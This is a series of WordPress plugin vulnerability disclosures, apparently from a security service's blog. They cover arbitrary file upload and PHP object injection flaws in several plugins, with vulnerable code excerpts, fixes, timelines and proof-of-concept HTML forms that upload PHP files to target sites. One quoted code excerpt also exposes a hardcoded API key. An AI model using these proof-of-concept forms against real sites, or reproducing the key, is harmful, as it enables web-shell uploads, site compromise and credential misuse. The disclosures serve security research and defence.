18 Jul

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in MapSVG Lite

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin MapSVG Lite. This vulnerability could allow an attacker that had access to a WordPress account to upload arbitrary files to the website. It also could allow an attacker that could get a user logged in to visit a URL the attacker controls, to exploit the vulnerability as well.

Since the check used to spot this is also included in our Plugin Security Checker (which  is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurs in the function mapsvg_upload(). That function, which is located in the file /mapsvg.php, would create a file with a filename and contents specified by user input that will be placed in the directory /wp-content/uploads/mapsvg/:

2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
function mapsvg_upload () {
    $mapsvg_error = mapsvg_check_upload_dir();
 
    if(!$mapsvg_error){
        $filename = sanitize_file_name(basename($_POST["filename"]));
        $target_file = MAPSVG_MAPS_UPLOADS_DIR . "/".$filename;
 
//        $file_parts = pathinfo($_FILES['svg_file']['name']);
 
        $file = fopen($target_file, 'w');
        fwrite($file, stripslashes($_POST['data']));
        fclose($file);
 
        echo $filename;
 
    }
    die();
}

That function is accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

add_action('wp_ajax_mapsvg_upload', 'mapsvg_upload');

There is a similar issue with another AJAX accessible function, ajax_mapsvg_save_svg().

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

If you were using our service not only would you be warned about this issue promptly after it was disclosed if you were using the plugin, but we would be there to help you deal with the issue on your website.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/uploads/mapsvg/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=mapsvg_upload" method="POST">
<input type="hidden" name="filename" value="test2.php" />
<input type="hidden" name="data" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • July 11, 2018 – Developer notified.
23 Feb

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Convert Docx2post

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin Convert Docx2post. This vulnerability could allow someone that has access to a WordPress account with the “publish_posts” capability (which would normally be any user with the Author role and above) to upload a malicious file to the website, which could they use to take additional actions on with the website. It also could allow an attacker that could get a logged in user to visit a URL the attacker controls, to upload a malicious file to the website, which the hacker could then use to take additional actions on their own with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the file /options.php, as of version 1.4, the first code that runs is:

92
93
94
95
96
97
98
if (isset($_POST['create']) && $_FILES['fileToUpload']["tmp_name"][0]) {
 
$target_dir = wp_upload_dir();
 
if (!file_exists($target_dir['basedir'] . '/docx2post')) {
    mkdir($target_dir['basedir'] . '/docx2post', 0775, true);
}
115
116
117
118
119
120
121
122
123
124
if ($_FILES['fileToUpload']) {
    $file_ary = reArrayFiles($_FILES['fileToUpload']);
 
    foreach ($file_ary as $file) {
 
 
 
$target_file = $target_dir['basedir'] ."/docx2post/". basename($file["name"]);
 
move_uploaded_file($file["tmp_name"], $target_file);

That code will save any type of file sent with a request to the directory /wp-content/uploads/docx2post/ as long as the POST input “create” is included with the request. Since there is no check for a valid nonce the code is susceptible to cross-site request forgery (CSRF).

The code in that file runs when the plugin’s admin page is accessed. That page is accessible for users with the “publish_posts” capability:

add_menu_page('convert_docx2post', 'Convert Docx', 'publish_posts', 'convert-docx2post/options.php', '', 'dashicons-media-document', 6);

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/docx2post/, when logged in as an Author-level users.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=convert-docx2post%2Foptions.php" method="POST" enctype="multipart/form-data">
<input type="file" name="fileToUpload[]" />
<input type="submit" name="create" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 16, 2018 – Developer notified.
13 Feb

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Church Admin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin Church Admin. This vulnerability could have allowed someone that has access to a WordPress account that can access the admin area (which would normally be any user, Subscriber-level and above) to upload a malicious file to the website, which could they use to take additional actions on with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function church_admin_bible_reading_plan(), which is located in the file /app/app-admin.php and would save any type of file sent with a request to the current year/month’s directory inside of the /wp-content/upload/ directory:

function church_admin_bible_reading_plan()
{
 global $wpdb;
 echo'<h2 class="plan-toggle">'.__('Which Bible Reading plan? (Click to toggle)','church-admin').'</h2>';
 
 echo'<div class="bible-plans" style="display:none">';
 echo '<p>'.__('The Bible reading post type for a particular day takes priority over any plan loaded below','church-admin').'</p>';
 if(!empty($_POST['save_csv']))
 {
 if(!empty($_FILES) && $_FILES['file']['error'] == 0)
 {
 $wpdb->query('TRUNCATE TABLE '.CA_BRP_TBL);
 $plan=stripslashes($_POST['reading_plan_name']);
 update_option('church_admin_brp',$plan);
 $filename = $_FILES['file']['name'];
 $upload_dir = wp_upload_dir();
 $filedest = $upload_dir['path'] . '/' . $filename;
 if(move_uploaded_file($_FILES['file']['tmp_name'], $filedest))echo '<p>'.__('File Uploaded and saved','church-admin').'</p>';

That function gets called in the function church_admin_app() if the website has a license number for the companion app set up:

function church_admin_app()
{

	//initialise
	global $wpdb;
	echo'>h1<Church Admin App Admin>/h1<';
	
	
	$licence=get_option('church_admin_app_licence');
	
	if(empty($licence)||$licence!=md5('licence'.site_url()))
	{
	
		//no licence yet
		echo '>div id="iphone" class="alignleft"<>iframe src="'.plugins_url('/app/demo/index.html',dirname(__FILE__) ).'" width=475 height=845 class="demo-app"<>/iframe<>/div<';
		
		if(!empty($_POST['app-licence']) && $_POST['app-licence']==md5('licence'.site_url()))
		{
			update_option('church_admin_app_licence',md5('licence'.site_url()));
			update_option("church_admin_app_id",intval($_POST['app-id']));
			update_option("church_admin_app_home",">h2<Welcome>/h2<");
			update_option("church_admin_app_giving",">h2<Giving>/h2<");
			update_option("church_admin_app_groups",">h2<Small groups>/h2<");
update_option("church_admin_app_api_key","AAAA50JK2is:APA91bE-SZWcUncaSxdbevuGOdochq7zS2fgJabNBAmbqBnmR8Lq4BoaQwG_p-JM2Ftx5rAKInlnG5RmxhWW_LcOPW9A9cQqpg7tUA1GFi1-NvX2q5YbFqnM9ZmV5xuE0PfeRWFUL1d4Te4zwzpu5qglwzZpg_JWzg");
	
		}
		
		echo'>h3<'.__('If you have subscribed, please fill in this form to activate','church-admin').'>/h3<>form action="" method="post"<>table<>tr<>th scope="row"<'.__('App Licence Key','church-admin').'>/th<>td<>input type="text" name="app-licence"/<>/td<>/tr<>tr<>th scope="row"<App ID>/th<>td<>input type="text" name="app-id"/<>/td<>/tr<>tr<>td colspacing=2<>input type="submit" value="'.__('Activate','church-admin').'"/<>/td<>/tr<>/table<>/form<';
		
		church_admin_app_signup();
		
		echo'>h3<'.__('Try out the app...','church-admin').'>/h3<>p<
>a href="https://itunes.apple.com/gb/app/wp-church/id1179763413?mt=8"<'.__('Install app on your iPhone now','church-admin').'>/a< and >a href="https://play.google.com/store/apps/details?id=com.churchadminplugin.wpchurch"<Android>/a<>/p<';

	}
	else
	{
		
		church_admin_app_content();
		church_admin_app_member_types();
		church_admin_bible_reading_plan();

An attacker can set that up that license number from the page shown if that hasn’t already been set up. They don’t even need to sign up for the service, as the value is just the md5 value of the website’s site_url:

11
if(empty($licence)||$licence!=md5('licence'.site_url()))

The function church_admin_app() is in turn accessible from the function church_admin_main() (located in the file /index.php):

914
case 'app': require_once(plugin_dir_path(__FILE__).'app/app-admin.php');church_admin_app();break;

Which is accessible to anyone with the “read” capability:

789
add_menu_page('church_admin:Administration', __('Church Admin','church-admin'),  'read', 'church_admin/index.php', 'church_admin_main');

We notified the plugin’s developer of the issue yesterday and they made changes that while not ideal, do fix the vulnerability. The function church_admin_bible_reading_plan() has now been restricted to those with the ability to “manage_options” (it seems that would be better suited to be a restriction placed in the function church_admin_app() though), which would normally limit it to only Administrators:

678
679
680
681
682
683
function church_admin_bible_reading_plan()
{
	global $wpdb;
	$current_user = wp_get_current_user();
 if(is_user_logged_in()&& current_user_can('manage_options'))
 {

In that function there has also been a nonce check added, which would prevent cross-site request forgery (CSRF), and a check of what type of files has been uploaded:

691
692
693
694
695
if(!empty($_POST['save_csv'])&& check_admin_referer( 'bible_upload', 'nonce' ) )
{
	$mimes = array('application/vnd.ms-excel','text/plain','text/csv','text/tsv');
	if(!empty($_FILES) && $_FILES['file']['error'] == 0 && in_array($_FILES['file']['type'],$mimes))
	{

The [‘type’] attribute of $_FILES is user specified so it shouldn’t be used a security check, but in this case, properly limiting the upload to Administrators and protecting against CSRF is enough protection.

There are some other upload functions in the plugin that could use a close check to make sure they are properly secured (something we mentioned to the developer).

Proof of Concept

The following proof of concept will upload the selected file to the current year/month’s directory inside of the /wp-content/upload/ directory, when logged in to WordPress and the license number set for the companion app set.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=church_admin%2Findex.php&action=app" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="save_csv" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 12, 2018 – Developer notified.
  • February 12, 2018 – Developer responds.
  • February 12, 2018 – Version 1.2540 release, which fixes vulnerability.
22 Nov

Authenticated Arbitrary File Upload Vulnerability in Vmax Project Manager

A month ago we wrote about how the security review of newly submitted plugins to the WordPress Plugin Directory needs improvement. One of the newly introduced plugins that lead to that was the plugin Vmax Project Manager. We came across the plugin through our proactive monitoring of changes made to plugins to try to catch serious vulnerabilities, due to the possibility of an arbitrary file upload vulnerability in the plugin.

What got flagged during our monitoring was the following line in the file /model/function.php:
131
move_uploaded_file($_FILES['file_name']['tmp_name'], $upload_dir['basedir'] . '/vpm/project_file/' . $_FILES["file_name"]["name"]);

That alone doesn’t tell you much, as all you can tell is it looks like an uploaded file is being saved to the filesystem with its filename intact.

With the fuller context of the function it is in you can see that there are no checks being done there that might restrict what types of files might be uploaded:

126
127
128
129
130
131
function vpm_file_create() {
	$data['vpm_project_id']	=	sanitize_text_field($_POST['vpm_project_id']);
	$data['file_name']		=	$_FILES['file_name']['name'];
	$data['note']			=	sanitize_text_field($_POST['note']);
	$upload_dir = wp_upload_dir();
    move_uploaded_file($_FILES['file_name']['tmp_name'], $upload_dir['basedir'] . '/vpm/project_file/' . $_FILES["file_name"]["name"]);

There still could be code elsewhere that restricts what type of files can be uploaded, though more often than not the code doing any checks would be in that.

That still doesn’t mean there is a vulnerability as the code still needs to be accessible in a way that it can be abused.

That function is called in one place, in the file /controller/controller.php:

66
67
	else if($task	==	'create_file') {
		vpm_file_create();

That value of $task comes from the beginning of the file, which also checks for a valid nonce:

3
4
5
6
7
8
9
10
$nonce 	=	sanitize_text_field($_POST['nonce']);
$task 	=	sanitize_text_field($_POST['task']);
 
$nonce_verify	=	wp_verify_nonce($nonce , 'vpm-project-manager');
 
 
// Only if nonce values submitted with post calls are verified, those db query functions will be executed
if ($nonce_verify == true) {

At that point we went to look at the issue from inside WordPress, though we later went to back to tracing the code used and spotted another vulnerability in the plugin, which will be the subject of another post.

On the plugins’ page to manage a project there is a section for files:

That page is available to anyone with the “read” capability, which is a capability that provides access to Admin dashboard and is a capability provided to Subscriber-level users and above (in the file /vpm.php):

37
$menu = add_menu_page('Vpm Project Manager', 'Project Manager', 'read', 'vpm-project', 'vpm_project' );

When you click Create you are taken to a page to upload a file:

If you try to upload a file with a .php extension that is not stopped:

So anyone that is logged in to WordPress with the “read” capability can upload arbitrary files.

We notified the developer of the issue on October 18. They responded five days later and said that it would be fixed within two weeks, but so far no new version of the plugin has been released. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Timeline

  • October 18, 2017 – Developer notified.
  • October 23, 2017 – Developer responds.
02 Oct

Authenticated Arbitrary File Upload Vulnerability in WordPress Book List

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated arbitrary file upload vulnerability in WordPress Book List.

The plugin allows users with the “manage_options” capability, which would normally only be Administrators, the ability to access an admin page to upload StylePaks for the plugin.

The uploads are handle through the function wpbooklist_upload_new_stylepak_action_callback(), which is available through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in (in the file /wpbooklist.php):

263
264
add_action( 'wp_ajax_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );
add_action( 'wp_ajax_nopriv_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );

The first thing that function does is check for a valid nonce (in the file /includes/ajaxfunctions.php):

2904
2905
2906
2907
function wpbooklist_upload_new_stylepak_action_callback(){
 
	global $wpdb;
	check_ajax_referer( 'wpbooklist_upload_new_stylepak_action_callback', 'security' );

That value of the nonce is provided through the function wpbooklist_upload_new_stylepak_action_javascript(), which runs when any admin page is loaded:

262
add_action( 'admin_footer', 'wpbooklist_upload_new_stylepak_action_javascript' );

So anyone logged in to WordPress that can access admin pages has access to a valid nonce, despite the user interface for the uploads only being accessible to Administrators.

Returning to the function wpbooklist_upload_new_stylepak_action_callback(), it provides no check to limit what types of users can access it, so as long as someone has access to a valid nonce they can access its functionality. If there is not a POST input “stylepak” then the following line of code will run in the function, which will upload a file without any restriction as to the file type:

2878
$move_result = move_uploaded_file($_FILES['my_uploaded_file']['tmp_name'], LIBRARY_STYLEPAKS_UPLOAD_DIR."{$_FILES['my_uploaded_file'] ['name']}");

We received a response from the developer the same day we contacted them, asking who we were. Several versions of the plugin have been release since then, but the vulnerability has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/wpbooklist/stylepaks/library/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with a valid nonce, which is value of the security element in the below the element that can be found below the line “‘action’: ‘wpbooklist_upload_new_stylepak_action’,” on any admin page.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpbooklist_upload_new_stylepak_action" />
<input type="hidden" name="security" value="[valid nonce]" />
<input type="file" name="my_uploaded_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 1, 2017 – Developer notified.
18 Sep

Authenticated PHP Object Injection Vulnerability in Post Pay Counter

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we have found some of those serious vulnerabilities, but we also have found less serious variants of some of those vulnerabilities. The latter is certainly the case with an authenticated PHP object injection vulnerability we found in the plugin Post Pay Counter.

On the plugin’s Options page there is a section title Import/Export Settings. When doing an import through that the function import_settings(), which began as follows in version 2.730, is utilized (in /classes/ppc_ajax_functions_class.php):

258
259
260
261
262
static function import_settings() {
	global $ppc_global_settings;
	self::ppc_check_ajax_referer( 'ppc_import_settings' );
 
	$to_import = unserialize( base64_decode( $_REQUEST['import_settings_content'] ) );

That code checked for a valid nonce, which prevents cross-site request forgery (CSRF), and then passed the value of the GET or POST input “import_settings_content” through the unserialize() function, which permitted PHP object injection.

The value of the nonce is only available on the plugin’s Options page. Normally that page is only available to Administrators, for who this really wouldn’t be a vulnerability since they can normally do the equivalent what this vulnerability could do. The plugin does provide the option to allow lower users level access to it and for them to exploit this it would be a vulnerability:

Before doing the importation of settings, the plugin should have also made sure the user is intended to be able to import settings by checking if their user role is one permitted to access the page.

Less than two days after we notified the developer of the issues they released version 2.731, which replaces the usage of unserialize():

262
$to_import = json_decode( base64_decode( $_REQUEST['import_settings_content'] ), true );

and adds a capabilities check to the function that handles updating the settings, update_settings() (in the file /classes/ppc_save_options_class.php):

221
222
if( ! current_user_can( $ppc_global_settings['cap_manage_options'] ) )
	return new WP_Error( 'save_settings_error', __( 'Are you sure you want to do this?' ) );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, passing “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” through the Import Settings feature on /wp-admin/admin.php?page=ppc-options will cause the message “PHP object injection has occurred.” to be shown.

Timeline

  • September 14, 2017 – Developer notified.
  • September 15, 2017 – Developer responds.
  • September 16, 2017 – Version 2.731, which fixes vulnerability.
13 Sep

Authenticated Arbitrary File Upload Vulnerability in Football Pool

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we recently found an authenticated arbitrary file upload vulnerability in the Football Pool plugin.

The plugin has a number of admin pages that are available to users with the ‘manage_football_pool’ capability. The plugin creates a new role with that capability as well as providing it to Editor and Administrator-level users (in the file /classes/class-football-pool.php):

44
45
46
47
48
49
50
51
52
53
54
add_role( 'football_pool_admin', 'Football Pool Admin', 
			array(
				'read' => true,
				'manage_football_pool' => true,
			)
);
 
$role = get_role( 'administrator' );
if ( ! is_null( $role ) ) $role->add_cap( 'manage_football_pool' );
$role = get_role( 'editor' );
if ( ! is_null( $role ) ) $role->add_cap( 'manage_football_pool' );

Through the Matches admin page the plugin provides a upload capability intended to upload CSV files.

When the upload occurs a valid nonce is checked before the function that handles that runs, which prevents cross-site request forgery (CSRF) (in the file /admin/class-football-pool-admin-games.php):

51
52
check_admin_referer( FOOTBALLPOOL_NONCE_ADMIN );
$uploaded_file = self::upload_csv();

As of version 2.6.3, the function didn’t include any restriction on what type of files can be uploaded:

89
90
91
92
93
private static function upload_csv() {
	$err = false;
	if ( is_uploaded_file( $_FILES['csv_file']['tmp_name'] ) ) {
		$new_file = FOOTBALLPOOL_CSV_UPLOAD_DIR . $_FILES['csv_file']['name'];
		if ( move_uploaded_file( $_FILES['csv_file']['tmp_name'], $new_file ) === false ) {

Earlier today we notified the developer of the plugin of the vulnerability and they promptly released a new version, 2.6.4, which limits what can be uploaded to only files with .csv and .txt extensions:

89
90
91
92
93
94
95
96
private static function upload_csv() {
	$err = false;
	$msg = '';
	if ( is_uploaded_file( $_FILES['csv_file']['tmp_name'] ) ) {
		$new_file = FOOTBALLPOOL_CSV_UPLOAD_DIR . $_FILES['csv_file']['name'];
		$extension = pathinfo( $new_file, PATHINFO_EXTENSION );
		if ( in_array( $extension, array( 'csv', 'txt' ) ) ) {
			if ( move_uploaded_file( $_FILES['csv_file']['tmp_name'], $new_file ) === false ) {

Proof of Concept

  1. Log in WordPress as a user with the role Football Pool Admin.
  2. Visit the Matches page of the plugin, /wp-admin/admin.php?page=footballpool-games.
  3. Click the “Bulk change game schedule” button in the top right of the page.
  4. In the “Upload new game schedule” section of the page, chose a file and click the “Upload CSV” button.
  5. The file will be uploaded to the directory /wp-content/uploads/football-pool/schedules/.

Timeline

  • September 13, 2017 – Developer notified.
  • September 13, 2017 – Developer responds.
  • September 13, 2017 – Version 2.6.4 released, which fixes vulnerability.
14 Jun

Vulnerability Details: Authenticated File Manager Access Vulnerability in File Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

While looking into a security fix just made to file manager plugin WP File Manager we found that the ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Aug

Authenticated Arbitrary File Upload Vulnerability in Estatik

With our service we notify customers when they are using plugins with known vulnerabilities in the version in use (as well as providing them data on vulnerabilities that existed in other versions of the plugin), but the usefulness of that is somewhat limited since telling you the plugin is vulnerable without being able to update to a fixed version is not the best solution. While we can usually provide someone with a temporary fix until the developer fully fixes the issue, what we really want to do is to make sure it eventually gets fixed so that everyone has a chance to be protected, even if they are not yet using our service.

That often isn’t an easy task. Often times the developers of plugins never responds or fixes the vulnerability when we contact them about it, even in cases where we indicated that vulnerability is already being exploited. When that happens the next step is notify the people running the Plugin Directory, who will the remove the plugin from it pending a fix. At least that is what is supposed to happen, in a number of incidents we have found that plugins have returned without the vulnerability actually being fixed, an issue that at least one person involved with WordPress doesn’t want people to know about.

Another issue that comes up from time to time is that a vulnerability is fixed, but since the related code isn’t fully secured, a lesser vulnerability remains. And then we need to try deal with that, which is what has happened with the plugin Estatik.

Back in July we spotted evidence that hackers may have been targeting the plugin as of June of last year and we found an arbitrary file upload vulnerability in the plugin that would likely be something they would exploit if they knew about it. We contacted the developer about the issue and after waiting for a response or a fix for a week we contacted the Plugin Directory and the plugin was removed. Earlier this week the plugin returned and in checking over the new version, 2.3.0, we found that vulnerability was gone, but the change to fix it left an authenticated arbitrary file upload vulnerability in the plugin. What that means is arbitrary files can still be uploaded, but only by someone that is logged in to WordPress. For a lot of websites, that isn’t much of an issue since many websites only have a single account with the Administrator role, which can usually upload arbitrary files, and other websites only have few trusted users with accounts.

To fix the previous vulnerability the developer removed the following line that allowed those not logged in to access the function es_prop_media_images() through WordPress’s AJAX functionality:

add_action('wp_ajax_nopriv_es_prop_media_images', 'es_prop_media_images');

The plugin continues to make the function accessible via the AJAX functionality when logged in through this line:

add_action('wp_ajax_es_prop_media_images', 'es_prop_media_images');

Since the function is only intended to accessible by Administrator level users there needs to be a check done in the function to make sure the request is not being made by a lower level user. Nothing along that lines was added in 2.3.0.

The plugin is also susceptible to cross-site request forgery (CSRF) based arbitrary file uploading due to a lack of a nonce.

We mentioned these issues when we originally contacted the developer of the plugin, but they apparently ignored it. We have contacted them again about the issue and hopefully we can work with them to get the issue fully resolved.

Proof of Concept

The following proof of concept will upload the selected  file and put it in the current month’s directory inside of the /wp-content/uploads/ director, when logged in to WordPress. The name of the file in the upload directory with be the time the file was saved as output by the function time() followed by a “_” and then name of the as it was uploaded.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="es_prop_media_images" />
<input type="file" name="es_media_images[]" /> 
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 7/25/2016 – Developer notified.
  • 8/19/2016 – Developer notified again.
  • 8/19/2016 – Developer responds.
  • 8/21/2016 – Version 2.3.1 released, which fixes issue.
27 Jun

Authenticated Arbitrary File Upload Vulnerability in WordPress Download Manager

Two weeks ago we found an arbitrary file upload vulnerability in the plugin XData Toolkit. After finding that we wanted to see if there were any very popular plugins that might have similar issue in them. We didn’t find any with such a serious issue, but we did find that the WordPress Download Manger plugin, which has 80,000+ active install according to wordpress.org, does have a more limited arbitrary file upload issue.

When you attempt to upload a file through this plugin that happens through the uploadFile() function in the file /admin/menus/class.Packages.php:

62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
function uploadFile(){
	check_ajax_referer('wpdm_admin_upload_file');
	if(!current_user_can('upload_files')) die('-2');
	if(file_exists(UPLOAD_DIR.$_FILES['package_file']['name']) && get_option('__wpdm_overwrrite_file',0)==1){
		@unlink(UPLOAD_DIR.$_FILES['package_file']['name']);
	}
	if(file_exists(UPLOAD_DIR.$_FILES['package_file']['name']))
		$filename = time().'wpdm_'.$_FILES['package_file']['name'];
	else
		$filename = $_FILES['package_file']['name'];
	move_uploaded_file($_FILES['package_file']['tmp_name'],UPLOAD_DIR.$filename);
	//@unlink($status['file']);
	echo "|||".$filename."|||";
	exit;
}

That checks to make sure that there is a valid nonce, to prevent cross-site request forgery (CSRF), and that the user has the capability to upload_files, which is usually available to Author level users and above. What it doesn’t do is any way restrict what type of files you can upload, so an Author level user could upload .php files with malicious code in them.

If you try to download such a file through the plugin you get the following error message “Invalid File Type (.php)!”, so it doesn’t look like the uploading .php files through the plugin is something the developers intended. They also restrict the downloading of file with .js and .html extensions:

34
if(in_array($ext, array('php', 'js', 'html'))) wp_die("Invalid File Type (.{$ext})!");

Having to be logged in as a Author level user or above limits the threats of this vulnerability and it is further limited by the fact that the directory the files uploaded by the plugin are stored in, /wp-content/uploads/download-manager-files/, contains a .htaccess file that restricts access to the files. That .htaccess could be worked around by combining this with a local file inclusion (LFI) vulnerability to load the file indirectly or with a vulnerability that allows deleting files and deleting the .htaccess file. Its protection also would not exist if you are using Nginx or IIS as your web server software, since those don’t use .htaccess files (both of those web servers are supported by WordPress).

We notified the developer that issues exists as of the current version, 2.8.97, but have not heard back from them so far.

Proof of Concept

Log in as an Author level user, add a new download through the Download menu, and upload a .php file (or other file of your choosing) on that page. You can then find the file at /wp-content/uploads/download-manager-files/.

Timeline

  • 6/20/2016 – Developer notified.
  • 3/17/2017 – Version 2.9.46 released, which fixes vulnerability.